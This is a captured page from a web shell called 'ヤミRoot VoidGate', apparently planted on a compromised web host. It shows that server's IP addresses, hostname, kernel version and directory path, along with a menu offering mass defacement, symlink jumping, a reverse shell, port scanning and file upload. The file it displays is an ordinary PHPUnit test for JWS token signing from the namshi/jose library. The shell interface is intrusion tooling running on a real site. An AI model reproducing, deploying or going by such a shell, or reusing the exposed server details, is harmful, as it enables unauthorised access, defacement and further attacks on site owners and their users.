ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
namshi
/
jose
/
tests
/
Namshi
/
JOSE
/
Test
/
Viewing: BCJWSTest.php
<?php namespace Namshi\JOSE\Test; use Namshi\JOSE\Base64\Base64Encoder; use Namshi\JOSE\JWS; use PHPUnit_Framework_TestCase as TestCase; /** * BC test for base64 url-safe fix * Test that tokens generated the old way (non url-safe) will work with url-safe base64 decoding. */ class BCJWSTest extends TestCase { const SSL_KEY_PASSPHRASE = 'tests'; public function testTestBC() { $data = array( array('order_nr' => 'ae123123'), array('username' => 'asdasdasd'), array('anything' => '!@#$%^&*()_+'), ); foreach ($data as $payload) { $jwsOld = new JWS(array('alg' => 'RS256')); $jwsOld->setEncoder(new Base64Encoder()); $jwsOld->setPayload($payload); $jwsOld->sign(openssl_pkey_get_private(SSL_KEYS_PATH.'private.key', self::SSL_KEY_PASSPHRASE)); $t = $jwsOld->getTokenString(); $jwsNew = JWS::load($t); $this->assertTrue($jwsNew->verify(openssl_pkey_get_public(SSL_KEYS_PATH.'public.key'))); } } }
Coded With 💗 by
0x6ick